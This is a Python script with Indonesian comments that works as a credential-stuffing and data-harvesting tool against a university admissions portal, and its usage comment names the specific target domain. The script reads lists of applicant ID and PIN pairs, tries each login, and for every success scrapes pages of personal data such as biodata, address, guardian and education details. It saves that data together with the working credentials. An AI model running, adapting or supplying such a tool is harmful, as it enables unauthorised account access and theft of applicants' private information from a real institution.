import requests from bs4 import BeautifulSoup import argparse def validate_login_new_cookies(base_url, id_pendaftar, pin, output_file): try: session = requests.Session() login_url = base_url + "/login" response_initial = session.get(login_url) if response_initial.status_code != 200: return False soup = BeautifulSoup(response_initial.text, 'html.parser') token = soup.find('input', {'name': '_token'})['value'] if soup.find('input', {'name': '_token'}) else None data_login = { "idpendaftar": id_pendaftar, "pin": pin, "act": "login", "_token": token if token else "DEFAULT_TOKEN" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept-Language': 'en-US,en;q=0.9', 'Referer': login_url, } response = session.post(login_url, data=data_login, headers=headers, allow_redirects=False) if response.status_code == 302: endpoints = [ "/biodata", "/biodata/domisili", "/biodata/datawali", "/biodata/pendidikan", "/biodata/pilihanprodi" ] extracted_data = [] for endpoint in endpoints: full_url = base_url + endpoint response_data_page = session.get(full_url) soup = BeautifulSoup(response_data_page.text, 'html.parser') # Ambil semua elemen dengan class form-control-static form_control_statics = soup.find_all('p', {'class': 'form-control-static'}) extracted_data.extend([value.text.strip() for value in form_control_statics]) with open(output_file, "a") as file: file.write(f"{id_pendaftar} : {pin} : {','.join(extracted_data)}\n") return True return False except Exception as e: print(f"Error: {e}") return False def process_single_user(base_url, id_pendaftar, pin, berhasil_file, gagal_file, output_file): if validate_login_new_cookies(base_url, id_pendaftar, pin, output_file): with open(berhasil_file, "a") as file: file.write(f"{id_pendaftar} : {pin}\n") else: with open(gagal_file, "a") as file: file.write(f"{id_pendaftar} : Tidak ada PIN yang cocok\n") def process_logins(base_url, data_file, berhasil_file, gagal_file, output_file): with open(data_file, "r") as file: lines = file.readlines() for line in lines: line = line.strip() if ':' in line: id_pendaftar, pin = line.split(':') elif '|' in line: id_pendaftar, pin = line.split('|') else: print(f"Invalid format in line: {line}") continue process_single_user(base_url, id_pendaftar.strip(), pin.strip(), berhasil_file, gagal_file, output_file) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Proses login dan pengambilan data.') parser.add_argument('url', help='URL halaman login') parser.add_argument('--file', required=True, help='File yang berisi daftar ID:Pendaftar dan PIN untuk login') parser.add_argument('--berhasil', default='berhasil.txt', help='File untuk menyimpan hasil login berhasil') parser.add_argument('--gagal', default='gagal.txt', help='File untuk menyimpan hasil login gagal') parser.add_argument('--output', default='output.txt', help='File untuk menyimpan data yang diambil') args = parser.parse_args() process_logins(args.url, args.file, args.berhasil, args.gagal, args.output) # jalankan py script.py https://pmb.hangtuah.ac.id --file data.txt --output results.txt